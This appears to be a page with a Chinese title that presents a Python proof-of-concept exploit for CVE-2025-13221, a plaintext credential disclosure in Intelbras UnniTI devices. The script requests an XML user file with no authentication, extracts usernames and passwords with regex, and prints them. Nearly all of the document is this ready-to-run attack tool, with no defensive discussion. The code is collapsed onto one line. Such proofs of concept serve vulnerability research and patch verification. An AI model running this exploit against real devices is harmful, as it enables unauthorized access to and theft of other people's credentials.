CVE-2025-13221 Intelbras UnniTI 配置文件明文凭证泄露漏洞

#!/usr/bin/env python3 """ CVE-2025-13221 PoC - Intelbras UnniTI Plaintext Credentials Disclosure Author: Security Researcher Description: Exploit to retrieve plaintext credentials from Intelbras UnniTI """ import requests import sys import re def exploit(target_url): """Exploit CVE-2025-13221 to retrieve credentials""" # Target the vulnerable XML endpoint endpoint = "/xml/sistema/usuarios.xml" full_url = target_url.rstrip('/') + endpoint print(f"[*] Targeting: {full_url}") print("[*] Attempting to retrieve credentials...") try: # Send HTTP GET request without authentication response = requests.get(full_url, timeout=10) if response.status_code == 200: print(f"[+] Request successful (Status: {response.status_code})") print("\n[+] Raw Response:") print(response.text) # Parse and extract credentials usuarios = re.findall(r'<Usuario>(.*?)</Usuario>', response.text) senhas = re.findall(r'<Senha>(.*?)</Senha>', response.text) if usuarios and senhas: print("\n[+] Extracted Credentials:") for i, (user, pwd) in enumerate(zip(usuarios, senhas)): print(f" User {i+1}: {user}") print(f" Pass {i+1}: {pwd}") return True else: print(f"[-] Request failed (Status: {response.status_code})") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_url>") print(f"Example: {sys.argv[0]} http://192.168.1.100") sys.exit(1) target = sys.argv[1] exploit(target)